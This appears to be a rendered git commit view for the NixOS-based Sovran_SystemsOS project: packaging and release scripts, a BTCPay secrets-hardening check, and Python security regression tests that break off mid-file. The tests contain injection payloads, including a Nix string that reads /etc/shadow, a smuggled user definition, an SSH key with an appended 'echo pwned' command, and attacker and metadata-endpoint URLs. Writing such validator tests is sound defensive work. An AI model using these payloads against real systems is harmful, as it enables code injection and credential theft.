phases = "unpackPhase patchPhase installPhase";
# `src` already contains the precompiled frontend and backend.
# Copy all files required for packaging, like in
# https://github.com/Ride-The-Lightning/RTL/blob/master/dockerfiles/Dockerfile
installPhase = ''
dest=$out/lib/node_modules/rtl
mkdir -p $dest
cp -r \
rtl.js \
package.json \
frontend \
backend \
${self.nodeModules}/lib/node_modules \
$dest
makeWrapper ${self.nodejsRuntime}/bin/node "$out/bin/rtl" \
--add-flags "$dest/rtl.js"
runHook postInstall
'';
meta = with lib; {
description = "A web interface for LND, c-lightning and Eclair";
homepage = "https://github.com/Ride-The-Lightning/RTL";
license = licenses.mit;
maintainers = with maintainers; [ nixbitcoin erikarvstedt ];
platforms = platforms.unix;
};
}; in self
+30
View File
@@ -283,6 +283,36 @@ git add VERSION
git commit -m "chore: bump VERSION to ${TAG} for ISO naming" || true git commit -m "chore: bump VERSION to ${TAG} for ISO naming" || true
echo -e " ${GREEN}${NC} VERSION file updated to ${VERSION}" echo -e " ${GREEN}${NC} VERSION file updated to ${VERSION}"
# ─────────────────────────────────────────────────────────────────────────────
# Step 2b: Auto-update README.md ISO download references
# ─────────────────────────────────────────────────────────────────────────────
echo
echo -e "${BLUE}Step 2b: Updating README.md ISO references to ${VERSION}...${NC}"
README_FILE="README.md"
if [ -f "$README_FILE" ]; then
# Extract the version currently used in the README's ISO filenames,
# e.g. "Sovran_SystemsOS-1.0.6.iso" -> "1.0.6"
OLD_ISO_VER=$(grep -oE 'Sovran_SystemsOS-[0-9]+\.[0-9]+\.[0-9]+\.iso' "$README_FILE" | head -1 | sed 's/Sovran_SystemsOS-//; s/\.iso//')
if [ -n "$OLD_ISO_VER" ] && [ "$OLD_ISO_VER" != "$VERSION" ]; then
# Portable in-place edit (works with GNU sed and BSD/macOS sed)
sed "s/Sovran_SystemsOS-${OLD_ISO_VER}/Sovran_SystemsOS-${VERSION}/g" \
"$README_FILE" > "$README_FILE.tmp" && mv "$README_FILE.tmp" "$README_FILE"
UPDATED=$(grep -c "Sovran_SystemsOS-${VERSION}" "$README_FILE")
echo -e " ${GREEN}${NC} README.md: ${OLD_ISO_VER} -> ${VERSION} (${UPDATED} references updated)"
git add "$README_FILE"
git commit -m "docs: update README ISO download links to ${TAG}" || true
echo -e " ${GREEN}${NC} Committed README update"
else
echo -e " ${YELLOW}${NC} README.md already references ${VERSION} or no versioned ISO links found — skipping"
fi
else
echo -e " ${YELLOW}${NC} README.md not found — skipping"
fi
# ───────────────────────────────────────────────────────────────────────────── # ─────────────────────────────────────────────────────────────────────────────
# Step 3: Auto-update CHANGELOG.md # Step 3: Auto-update CHANGELOG.md
# ───────────────────────────────────────────────────────────────────────────── # ─────────────────────────────────────────────────────────────────────────────
+54 -23
View File
@@ -7,7 +7,15 @@
# Usage: # Usage:
# ./scripts/upload-cdn.sh [--upload] # ./scripts/upload-cdn.sh [--upload]
# #
# EVERYTHING this script creates lives OUTSIDE the repository, even when you
# run it from inside the repo:
# - the nix build output symlink -> $ISO_OUT_DIR/result
# - the ISO and .sha256 files -> $ISO_OUT_DIR
# The repo working tree stays completely clean.
#
# Environment variables (optional): # Environment variables (optional):
# ISO_OUT_DIR - dir for the build symlink + ISO + checksum
# (default: ~/Sovran-builds)
# CDN_RSYNC_TARGET - rsync destination (e.g. user@server:/var/www/downloads/) # CDN_RSYNC_TARGET - rsync destination (e.g. user@server:/var/www/downloads/)
# CDN_RCLONE_REMOTE - rclone remote target (e.g. s3:my-bucket/downloads/) # CDN_RCLONE_REMOTE - rclone remote target (e.g. s3:my-bucket/downloads/)
# CDN_UPLOAD_CMD - custom upload command # CDN_UPLOAD_CMD - custom upload command
@@ -22,65 +30,88 @@ BLUE='\033[0;34m'
CYAN='\033[0;36m' CYAN='\033[0;36m'
NC='\033[0m' NC='\033[0m'
# Always operate from the repo root, no matter where the script is invoked from
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
cd "$REPO_ROOT"
# Read version from VERSION file # Read version from VERSION file
if [ ! -f VERSION ]; then if [ ! -f VERSION ]; then
echo -e "${RED}Error: VERSION file not found.${NC}" >&2 echo -e "${RED}Error: VERSION file not found in $REPO_ROOT.${NC}" >&2
exit 1 exit 1
fi fi
VERSION=$(cat VERSION | tr -d '\n\r ') VERSION=$(cat VERSION | tr -d '\n\r ')
ISO_NAME="Sovran_SystemsOS-${VERSION}.iso" ISO_NAME="Sovran_SystemsOS-${VERSION}.iso"
SHA_NAME="${ISO_NAME}.sha256" SHA_NAME="${ISO_NAME}.sha256"
# Output directory OUTSIDE the repo (override with ISO_OUT_DIR)
OUT_DIR="${ISO_OUT_DIR:-$HOME/Sovran-builds}"
mkdir -p "$OUT_DIR"
OUT_DIR="$(cd "$OUT_DIR" && pwd)"
ISO_PATH="$OUT_DIR/${ISO_NAME}"
SHA_PATH="$OUT_DIR/${SHA_NAME}"
RESULT_LINK="$OUT_DIR/result"
echo -e "${BLUE}╔════════════════════════════════════════════════════════════╗${NC}" echo -e "${BLUE}╔════════════════════════════════════════════════════════════╗${NC}"
echo -e "${BLUE}║ Sovran_SystemsOS CDN ISO Packaging & Upload Tool ║${NC}" echo -e "${BLUE}║ Sovran_SystemsOS CDN ISO Packaging & Upload Tool ║${NC}"
echo -e "${BLUE}╚════════════════════════════════════════════════════════════╝${NC}" echo -e "${BLUE}╚════════════════════════════════════════════════════════════╝${NC}"
echo -e " Version : ${CYAN}${VERSION}${NC}" echo -e " Version : ${CYAN}${VERSION}${NC}"
echo -e " ISO : ${CYAN}${ISO_NAME}${NC}" echo -e " ISO : ${CYAN}${ISO_NAME}${NC}"
echo -e " Repo : ${CYAN}${REPO_ROOT}${NC} (left untouched)"
echo -e " Output : ${CYAN}${OUT_DIR}${NC} (outside the repo)"
echo echo
# Locate or build ISO # Locate or build ISO
SRC_ISO="" SRC_ISO=""
if [ -f "result/iso/${ISO_NAME}" ]; then if [ -f "$RESULT_LINK/iso/${ISO_NAME}" ]; then
SRC_ISO="result/iso/${ISO_NAME}" SRC_ISO="$RESULT_LINK/iso/${ISO_NAME}"
elif [ -f "$RESULT_LINK/iso/Sovran_SystemsOS.iso" ]; then
SRC_ISO="$RESULT_LINK/iso/Sovran_SystemsOS.iso"
elif [ -f "result/iso/${ISO_NAME}" ]; then
SRC_ISO="result/iso/${ISO_NAME}" # legacy: from an older in-repo build
elif [ -f "result/iso/Sovran_SystemsOS.iso" ]; then elif [ -f "result/iso/Sovran_SystemsOS.iso" ]; then
SRC_ISO="result/iso/Sovran_SystemsOS.iso" SRC_ISO="result/iso/Sovran_SystemsOS.iso"
else else
FOUND=$(find result -name "*.iso" 2>/dev/null | head -n 1 || true) FOUND=$(find "$RESULT_LINK" result -name "*.iso" 2>/dev/null | head -n 1 || true)
if [ -n "$FOUND" ]; then if [ -n "$FOUND" ]; then
SRC_ISO="$FOUND" SRC_ISO="$FOUND"
fi fi
fi fi
if [ -z "$SRC_ISO" ] || [ ! -f "$SRC_ISO" ]; then if [ -z "$SRC_ISO" ] || [ ! -f "$SRC_ISO" ]; then
echo -e "${YELLOW}Built ISO not found in result/. Building ISO via Nix...${NC}" echo -e "${YELLOW}Built ISO not found. Building via Nix (result link goes outside the repo)...${NC}"
nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage rm -f "$RESULT_LINK"
nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage \
--out-link "$RESULT_LINK"
if [ -f "result/iso/${ISO_NAME}" ]; then if [ -f "$RESULT_LINK/iso/${ISO_NAME}" ]; then
SRC_ISO="result/iso/${ISO_NAME}" SRC_ISO="$RESULT_LINK/iso/${ISO_NAME}"
else else
FOUND=$(find result -name "*.iso" 2>/dev/null | head -n 1 || true) FOUND=$(find "$RESULT_LINK" -name "*.iso" 2>/dev/null | head -n 1 || true)
if [ -n "$FOUND" ]; then if [ -n "$FOUND" ]; then
SRC_ISO="$FOUND" SRC_ISO="$FOUND"
else
echo -e "${RED}Error: Failed to locate built ISO in result/.${NC}" >&2
exit 1
fi fi
fi fi
fi fi
echo -e "${BLUE}Step 1: Copying built ISO out of Nix store...${NC}" if [ -z "$SRC_ISO" ] || [ ! -f "$SRC_ISO" ]; then
cp -v "$SRC_ISO" "./${ISO_NAME}" echo -e "${RED}Error: Failed to locate built ISO.${NC}" >&2
echo -e " ${GREEN}${NC} Copied to ./${ISO_NAME}" exit 1
fi
echo -e "${BLUE}Step 1: Copying built ISO to output dir (outside repo)...${NC}"
cp -v "$SRC_ISO" "$ISO_PATH"
echo -e " ${GREEN}${NC} Copied to $ISO_PATH"
echo echo
echo -e "${BLUE}Step 2: Generating versioned SHA-256 checksum...${NC}" echo -e "${BLUE}Step 2: Generating versioned SHA-256 checksum...${NC}"
sha256sum "${ISO_NAME}" > "${SHA_NAME}" sha256sum "$ISO_PATH" > "$SHA_PATH"
echo -e " ${GREEN}${NC} Generated ${SHA_NAME}" echo -e " ${GREEN}${NC} Generated $SHA_PATH"
cat "${SHA_NAME}" cat "$SHA_PATH"
echo echo
echo -e "${BLUE}Step 3: Verifying checksum...${NC}" echo -e "${BLUE}Step 3: Verifying checksum...${NC}"
sha256sum --check "${SHA_NAME}" sha256sum --check "$SHA_PATH"
echo -e " ${GREEN}${NC} Checksum verified successfully" echo -e " ${GREEN}${NC} Checksum verified successfully"
# Parse arguments for upload # Parse arguments for upload
@@ -107,13 +138,13 @@ if [ "$DO_UPLOAD" -eq 1 ]; then
if [ -n "${CDN_RSYNC_TARGET:-}" ]; then if [ -n "${CDN_RSYNC_TARGET:-}" ]; then
echo -e " Uploading via rsync to ${CDN_RSYNC_TARGET}..." echo -e " Uploading via rsync to ${CDN_RSYNC_TARGET}..."
rsync -avP "${ISO_NAME}" "${SHA_NAME}" "${CDN_RSYNC_TARGET}" rsync -avP "$ISO_PATH" "$SHA_PATH" "${CDN_RSYNC_TARGET}"
UPLOADED=1 UPLOADED=1
fi fi
if [ -n "${CDN_RCLONE_REMOTE:-}" ]; then if [ -n "${CDN_RCLONE_REMOTE:-}" ]; then
echo -e " Uploading via rclone to ${CDN_RCLONE_REMOTE}..." echo -e " Uploading via rclone to ${CDN_RCLONE_REMOTE}..."
rclone copy "${ISO_NAME}" "${SHA_NAME}" "${CDN_RCLONE_REMOTE}" rclone copy "$ISO_PATH" "$SHA_PATH" "${CDN_RCLONE_REMOTE}"
UPLOADED=1 UPLOADED=1
fi fi
@@ -128,8 +159,8 @@ else
echo -e "${GREEN}╔════════════════════════════════════════════════════════════╗${NC}" echo -e "${GREEN}╔════════════════════════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║ ✅ ISO packaging & verification complete! ║${NC}" echo -e "${GREEN}║ ✅ ISO packaging & verification complete! ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════════════════════════╝${NC}" echo -e "${GREEN}╚════════════════════════════════════════════════════════════╝${NC}"
echo -e "Ready files:" echo -e "Ready files (in ${CYAN}${OUT_DIR}${NC}, outside the repo):"
ls -lh "${ISO_NAME}" "${SHA_NAME}" ls -lh "$ISO_PATH" "$SHA_PATH"
echo echo
echo "To upload to CDN, run:" echo "To upload to CDN, run:"
echo " ./scripts/upload-cdn.sh --upload" echo " ./scripts/upload-cdn.sh --upload"
+146
View File
@@ -0,0 +1,146 @@
{ nixpkgs, overlay-stable, system ? "x86_64-linux" }:
let
lib = nixpkgs.lib;
pkgs = import nixpkgs {
inherit system;
overlays = [ overlay-stable ];
};
normalize = s:
lib.replaceStrings [ "\n" "\\" " " ] [ " " "" " " ] s;
extractAfter = prefix: str:
let
match = builtins.match ".*${prefix} ([^ ]+).*" (normalize str);
in
if match == null then
throw "Unable to extract ${prefix} from: ${normalize str}"
else
builtins.head match;
extractFlagValue = flag: str:
let
match = builtins.match ".*${flag}=([^ ]+).*" (normalize str);
in
if match == null then
throw "Unable to extract ${flag} from: ${normalize str}"
else
builtins.head match;
config = (lib.nixosSystem {
inherit system;
modules = [
{ nixpkgs.hostPlatform = system; nixpkgs.overlays = [ overlay-stable ]; }
../modules/bitcoin
{
nix-bitcoin.generateSecrets = true;
nix-bitcoin.secretsDir = "/build/secrets";
services.btcpayserver.enable = true;
services.btcpayserver.lightningBackend = "lnd";
services.nbxplorer.dataDir = "/build/nbxplorer";
services.btcpayserver.dataDir = "/build/btcpayserver";
services.lnd.dataDir = "/build/lnd";
services.bitcoind.dataDir = "/build/bitcoind";
}
];
}).config;
nbxplorerPreStart = config.systemd.services.nbxplorer.preStart;
bitcoindPreStart = config.systemd.services.bitcoind.preStart;
btcpayExecStart = config.systemd.services.btcpayserver.serviceConfig.ExecStart;
btcpayWorkingDir = config.systemd.services.btcpayserver.serviceConfig.WorkingDirectory;
nbxplorerConfigPath = extractAfter "install -m 600" nbxplorerPreStart;
btcpayConfigPath = extractFlagValue "--conf" btcpayExecStart;
nbxplorerConfig = builtins.readFile nbxplorerConfigPath;
btcpayConfig = builtins.readFile btcpayConfigPath;
in
assert lib.assertMsg
(config.users.users.${config.services.btcpayserver.user}.home == config.services.btcpayserver.dataDir)
"btcpayserver user home must match btcpayserver dataDir";
assert lib.assertMsg
(config.users.users.${config.services.nbxplorer.user}.home == config.services.nbxplorer.dataDir)
"nbxplorer user home must match nbxplorer dataDir";
assert lib.assertMsg
(config.nix-bitcoin.secrets.bitcoin-HMAC-btcpayserver.user == config.services.bitcoind.user)
"bitcoin-HMAC-btcpayserver must be owned by bitcoind";
assert lib.assertMsg
(config.nix-bitcoin.secrets.bitcoin-rpcpassword-btcpayserver.user == config.services.bitcoind.user)
"bitcoin-rpcpassword-btcpayserver must be owned by bitcoind";
assert lib.assertMsg
(config.nix-bitcoin.secrets.bitcoin-rpcpassword-btcpayserver.group == config.services.nbxplorer.group)
"bitcoin-rpcpassword-btcpayserver must be group-readable by nbxplorer";
assert lib.assertMsg
(!(lib.elem config.services.nbxplorer.group config.users.users.${config.services.btcpayserver.user}.extraGroups))
"btcpayserver must not receive the nbxplorer group";
assert lib.assertMsg
(lib.elem "nix-bitcoin-secrets.target" config.systemd.services.nbxplorer.after)
"nbxplorer must wait for nix-bitcoin-secrets.target";
assert lib.assertMsg
(config.systemd.services.nbxplorer.serviceConfig.MemoryDenyWriteExecute == false)
"nbxplorer needs MemoryDenyWriteExecute = false";
assert lib.assertMsg
(config.systemd.services.btcpayserver.serviceConfig.MemoryDenyWriteExecute == false)
"btcpayserver needs MemoryDenyWriteExecute = false";
assert lib.assertMsg
(lib.hasInfix "network=mainnet" nbxplorerConfig
&& lib.hasInfix "btcrpcuser=btcpayserver" nbxplorerConfig
&& lib.hasInfix "btcnodeendpoint=127.0.0.1:8335" nbxplorerConfig
&& lib.hasInfix "bind=127.0.0.1" nbxplorerConfig
&& lib.hasInfix "port=24444" nbxplorerConfig
&& lib.hasInfix "postgres=User ID=nbxplorer;Host=/run/postgresql;Database=nbxplorer" nbxplorerConfig)
"nbxplorer base config must contain the expected non-secret settings";
assert lib.assertMsg
(lib.hasInfix "btcexplorerurl=http://127.0.0.1:24444/" btcpayConfig
&& lib.hasInfix "btcexplorercookiefile=/build/nbxplorer/Main/.cookie" btcpayConfig)
"btcpayserver config must contain btcexplorerurl and btcexplorercookiefile";
assert lib.assertMsg
(lib.hasSuffix "/lib/btcpayserver" btcpayWorkingDir)
"btcpayserver WorkingDirectory must end with /lib/btcpayserver";
assert lib.assertMsg
(!lib.hasInfix "/build/btcpayserver/settings.config" btcpayExecStart
&& lib.hasInfix "--datadir='/build/btcpayserver'" btcpayExecStart)
"btcpayserver must use a deterministic config file plus --datadir";
assert lib.assertMsg
(lib.hasInfix "network=mainnet" btcpayConfig
&& lib.hasInfix "bind=127.0.0.1" btcpayConfig
&& lib.hasInfix "port=23000" btcpayConfig
&& lib.hasInfix "btcexplorerurl=http://127.0.0.1:24444/" btcpayConfig
&& lib.hasInfix "explorer.postgres=User ID=nbxplorer;Host=/run/postgresql;Database=nbxplorer" btcpayConfig
&& lib.hasInfix "postgres=User ID=btcpayserver;Host=/run/postgresql;Database=btcpayserver" btcpayConfig
&& lib.hasInfix "btclightning=type=lnd-rest;server=https://127.0.0.1:8080/;macaroonfilepath=/run/lnd/btcpayserver.macaroon;certfilepath=/build/secrets/lnd-cert" btcpayConfig)
"btcpayserver config must preserve BTCPay, NBXplorer, database, and LND settings";
assert lib.assertMsg
(lib.hasInfix "readValidatedRpcHmac()" bitcoindPreStart
&& lib.hasInfix ''if [[ ! -e "$hmacFile" ]]; then'' bitcoindPreStart
&& lib.hasInfix ''if [[ ! -r "$hmacFile" ]]; then'' bitcoindPreStart
&& lib.hasInfix ''if [[ -z "$hmacPayload" ]]; then'' bitcoindPreStart
&& lib.hasInfix ''^[[:xdigit:]]+\$[[:xdigit:]]+$'' bitcoindPreStart
&& lib.hasInfix ''Bitcoin RPC HMAC file has invalid format'' bitcoindPreStart
&& lib.hasInfix ''hmacPayload="$(readValidatedRpcHmac '/build/secrets/bitcoin-HMAC-btcpayserver')" || exit 1'' bitcoindPreStart)
"bitcoind preStart must validate missing, unreadable, empty, and malformed HMAC files";
pkgs.runCommand "bitcoin-btcpay-hardening" {} ''
mkdir -p /build/secrets /build/nbxplorer
printf '%s' 'first-password' > /build/secrets/bitcoin-rpcpassword-btcpayserver
bash -euo pipefail -c ${lib.escapeShellArg nbxplorerPreStart}
test "$(stat -c '%a' /build/nbxplorer/settings.config)" = "600"
test "$(grep -c '^btcrpcuser=' /build/nbxplorer/settings.config)" = "1"
test "$(grep -c '^btcrpcpassword=' /build/nbxplorer/settings.config)" = "1"
test "$(grep -c '^postgres=' /build/nbxplorer/settings.config)" = "1"
printf '%s' 'rotated-password' > /build/secrets/bitcoin-rpcpassword-btcpayserver
bash -euo pipefail -c ${lib.escapeShellArg nbxplorerPreStart}
test "$(grep -c '^btcrpcuser=' /build/nbxplorer/settings.config)" = "1"
test "$(grep -c '^btcrpcpassword=' /build/nbxplorer/settings.config)" = "1"
test "$(grep -c '^postgres=' /build/nbxplorer/settings.config)" = "1"
! grep -q 'first-password' /build/nbxplorer/settings.config
grep -q 'rotated-password' /build/nbxplorer/settings.config
touch "$out"
''
+922
View File
@@ -0,0 +1,922 @@
"""Security regression tests for Sovran Hub security helpers.
Tests exercise the exact production implementations — no helpers are
redefined or simulated here. Every test calls the deployed code.
Tests must never:
- reboot, rebuild, or alter real SSH keys
- access the network
- write to system paths
"""
import base64
import json
import os
import sys
import tempfile
import unittest
# Add the app package to the path so we can import without the full FastAPI tree.
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
if _APP_PARENT not in sys.path:
sys.path.insert(0, _APP_PARENT)
from sovran_systemsos_web.security_helpers import ( # noqa: E402
_nix_escape,
NPUB_RE,
_validate_npub,
_validate_ddns_url,
_validate_ssh_pubkey,
_DDNS_ALLOWED_HOSTNAMES,
_bech32_decode,
)
from sovran_systemsos_web import support_ops # noqa: E402
# ---------------------------------------------------------------------------
# Nix string escaping
# ---------------------------------------------------------------------------
class TestNixEscape(unittest.TestCase):
"""_nix_escape must prevent injection into Nix string literals."""
def test_double_quotes_escaped(self):
self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
def test_backslash_escaped(self):
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
def test_nix_interpolation_escaped(self):
self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
def test_newline_escaped(self):
self.assertEqual(_nix_escape("a\nb"), "a\\nb")
def test_carriage_return_escaped(self):
self.assertEqual(_nix_escape("a\rb"), "a\\rb")
def test_tab_escaped(self):
self.assertEqual(_nix_escape("a\tb"), "a\\tb")
def test_semicolons_unchanged(self):
self.assertEqual(_nix_escape("a;b"), "a;b")
def test_valid_timezone(self):
self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
def test_injection_payload_quotes_and_interpolation(self):
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
result = _nix_escape(payload)
import re as _re
self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
def test_npub_injection(self):
payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
result = _nix_escape(payload)
self.assertNotIn('"', result.replace('\\"', ""))
# ---------------------------------------------------------------------------
# Nostr npub validation — regex pre-filter
# ---------------------------------------------------------------------------
class TestNpubValidationRegex(unittest.TestCase):
"""NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
# 58 bech32 chars after "npub1"
VALID_SHAPE = "npub1" + "q" * 58
def test_valid_shape_accepted(self):
self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
def test_wrong_prefix_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
def test_too_short_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
def test_too_long_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
def test_uppercase_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
def test_injection_quote_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
def test_injection_interpolation_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
# ---------------------------------------------------------------------------
# Nostr npub validation — full bech32
# ---------------------------------------------------------------------------
class TestNpubBech32Validation(unittest.TestCase):
"""_validate_npub must verify the full bech32 checksum and payload length."""
BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
def _make_npub(self, payload_bytes: bytes) -> str | None:
"""Build a syntactically valid npub from raw 32-byte payload."""
from sovran_systemsos_web.security_helpers import (
_bech32_hrp_expand,
_bech32_polymod,
_bech32_create_checksum,
)
def _convertbits(data, frombits, tobits, pad=True):
acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
for value in data:
acc = ((acc << frombits) | value)
bits += frombits
while bits >= tobits:
bits -= tobits
ret.append((acc >> bits) & maxv)
if pad and bits:
ret.append((acc << (tobits - bits)) & maxv)
return ret
hrp = "npub"
data5 = _convertbits(list(payload_bytes), 8, 5)
checksum = _bech32_create_checksum(hrp, data5)
full = data5 + checksum
return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
def test_valid_npub_passes_bech32(self):
npub = self._make_npub(bytes(32))
self.assertIsNotNone(npub)
self.assertTrue(_validate_npub(npub))
def test_bech32_decode_returns_32_bytes(self):
npub = self._make_npub(b'\x01' * 32)
result = _bech32_decode(npub)
self.assertIsNotNone(result)
hrp, payload = result
self.assertEqual(hrp, "npub")
self.assertEqual(len(payload), 32)
def test_corrupted_checksum_rejected(self):
npub = self._make_npub(bytes(32))
# Flip last character in the data part
corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
self.assertFalse(_validate_npub(corrupted))
def test_mixed_case_rejected(self):
npub = self._make_npub(bytes(32))
mixed = npub[:10].upper() + npub[10:]
self.assertFalse(_validate_npub(mixed))
def test_wrong_hrp_rejected(self):
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
def test_synthetic_all_q_rejected_by_checksum(self):
self.assertFalse(_validate_npub("npub1" + "q" * 58))
# ---------------------------------------------------------------------------
# DDNS URL validation
# ---------------------------------------------------------------------------
class TestDdnsUrlValidation(unittest.TestCase):
"""_validate_ddns_url must enforce all security constraints."""
# VALID_URL has no ${IP}: callers must substitute before validation.
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
def test_valid_njalla_url_accepted(self):
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
def test_www_njalla_accepted(self):
url = "https://www.njal.la/update/?h=test&k=TOKEN"
self.assertEqual(_validate_ddns_url(url), url)
def test_http_scheme_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("http://njal.la/update/?k=TOKEN")
def test_ftp_scheme_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
def test_credentials_in_url_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("******njal.la/update/?k=TOKEN")
def test_fragment_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
def test_raw_ip_host_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
def test_non_standard_port_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
def test_control_character_newline_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
def test_control_character_null_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
def test_percent_encoded_null_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
def test_localhost_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://localhost/update/?k=TOKEN")
def test_127_0_0_1_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
def test_arbitrary_public_hostname_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://example.com/update/?k=TOKEN")
def test_attacker_host_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
def test_metadata_endpoint_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
def test_empty_url_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("")
def test_too_long_rejected(self):
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
with self.assertRaises(ValueError):
_validate_ddns_url(long_url)
def test_allowed_hostnames_set(self):
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
def test_dollar_expression_rejected(self):
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
def test_wrong_path_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
def test_exact_update_path_accepted(self):
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
self.assertEqual(_validate_ddns_url(url), url)
# ---------------------------------------------------------------------------
# SSH public-key validation
# ---------------------------------------------------------------------------
class TestSshPubkeyValidation(unittest.TestCase):
"""_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
VALID_ED25519 = (
"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
)
def test_valid_ed25519_accepted(self):
result = _validate_ssh_pubkey(self.VALID_ED25519)
self.assertEqual(result, self.VALID_ED25519)
def test_unsupported_algorithm_rsa_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
def test_dss_algorithm_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
def test_multiline_injection_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
def test_options_prefix_not_accepted(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
def test_empty_key_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("")
def test_control_character_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
def test_malformed_base64_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
def test_too_short_payload_rejected(self):
short_b64 = base64.b64encode(b"\x00" * 10).decode()
with self.assertRaises(ValueError):
_validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
def test_missing_key_body_rejected(self):
with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-ed25519")
# ---------------------------------------------------------------------------
# Auth-exempt paths
# ---------------------------------------------------------------------------
class TestAuthExemptPaths(unittest.TestCase):
"""/api/reboot and status endpoints must not be in the auth-exempt set."""
def _get_exempt_paths(self):
import re
src = open(
os.path.join(_REPO_ROOT, "app", "sovran_systemsos_web", "server.py")
).read()
m = re.search(r"_AUTH_EXEMPT_PATHS\s*=\s*\{([^}]*)\}", src)
self.assertIsNotNone(m, "_AUTH_EXEMPT_PATHS not found in server.py")
return {p.strip().strip('"') for p in m.group(1).split(",") if p.strip().strip('"')}
def test_reboot_not_exempt(self):
self.assertNotIn("/api/reboot", self._get_exempt_paths())
def test_updates_status_not_exempt(self):
self.assertNotIn("/api/updates/status", self._get_exempt_paths())
def test_rebuild_status_not_exempt(self):
self.assertNotIn("/api/rebuild/status", self._get_exempt_paths())
def test_login_still_exempt(self):
self.assertIn("/api/login", self._get_exempt_paths())
def test_ping_still_exempt(self):
self.assertIn("/api/ping", self._get_exempt_paths())
# ---------------------------------------------------------------------------
# tech-support.nix validation
# ---------------------------------------------------------------------------
class TestTechSupportSudoRules(unittest.TestCase):
"""tech-support.nix must not grant broad privileges."""
def _get_nix_content(self):
path = os.path.join(_REPO_ROOT, "modules", "core", "tech-support.nix")
with open(path) as f:
return f.read()
def test_no_nano_custom_nix(self):
